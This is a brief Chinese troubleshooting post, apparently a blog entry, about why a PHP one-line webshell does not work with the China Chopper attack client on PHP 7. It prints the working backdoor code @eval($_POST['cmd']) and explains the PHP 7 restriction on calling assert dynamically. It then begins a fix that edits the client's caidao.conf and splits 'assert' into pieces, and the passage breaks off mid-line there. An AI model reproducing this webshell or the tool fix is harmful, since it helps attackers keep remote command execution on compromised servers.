错误详情
WebShell内容:
<?php
@eval($_POST['cmd']);
?>
- 1
- 2
- 3
错误详情:
在Hackber或BurpSuite中却没有问题:
原因分析
PHP7版本过高,在PHP7中,动态调用一些函数是被禁止的,比如在array_map中调用assert会提示:Warning: Cannot call func_num_args() dynamically in %s on line %d
如果把一句话Shell中的@符号去掉,会提示:Cannot call assert() with string argument dynamically in ...shell.php(1) : eval()'d code on line 1
解决方案
在菜刀的配置文件中(caidao.conf
)找到:array_map("ass"."ert